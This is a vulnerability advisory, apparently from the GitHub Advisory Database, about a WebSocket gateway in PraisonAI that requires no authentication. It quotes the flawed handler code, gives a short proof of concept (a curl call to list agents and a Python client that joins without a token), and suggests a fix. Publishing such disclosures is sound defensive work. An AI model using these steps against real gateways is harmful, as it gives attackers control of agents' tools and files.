PraisonAI Has Missing Authentication in WebSocket Gateway
Summary
The PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.
Details
gateway/server.py:242 (source) -> gateway/server.py:250 (sink)
# source -- /info leaks all agent IDs with no auth
async def info(request):
return JSONResponse({
"agents": list(self._agents.keys()),
"sessions": len(self._sessions),
"clients": len(self._clients),
})
# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
await websocket.accept()
client_id = str(uuid.uuid4())
self._clients[client_id] = websocket
# processes any message from any client
PoC
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &
# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}
# Step 2 - connect to WebSocket, no token
python3 -c "
import asyncio, websockets, json
async def run():
async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:
print('Connected with no auth')
await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))
print(await asyncio.wait_for(ws.recv(), timeout=3))
asyncio.run(run())
"
# expected output: Connected with no auth
# {"type": ...} -- server responds, connection accepted
Impact
Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via /info, and send arbitrary messages to agents including tool execution, file reads, and API calls. GatewayConfig has an auth_token field that is never enforced in the handler.
Suggested Fix
async def websocket_endpoint(websocket: WebSocket):
token = websocket.query_params.get("token") or \
websocket.headers.get("Authorization", "").removeprefix("Bearer ")
if self._config.auth_token and token != self._config.auth_token:
await websocket.close(code=4001, reason="Unauthorized")
return
await websocket.accept()
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | praisonai | < 4.5.97 | 4.5.97 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N- Debilidad (CWE)
CWE-306- Plataforma
- Python (PyPI)
- Paquete
praisonai- Publicada
- 01.04.2026
- Actualizado
- 11.10.2026 14:17
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-cfh6-vr3j-qc3g - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-474 - PyPA Advisory Database; CC BY 4.0
Historial de vulnerabilidades: praisonai
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- 04.2026 10.2026
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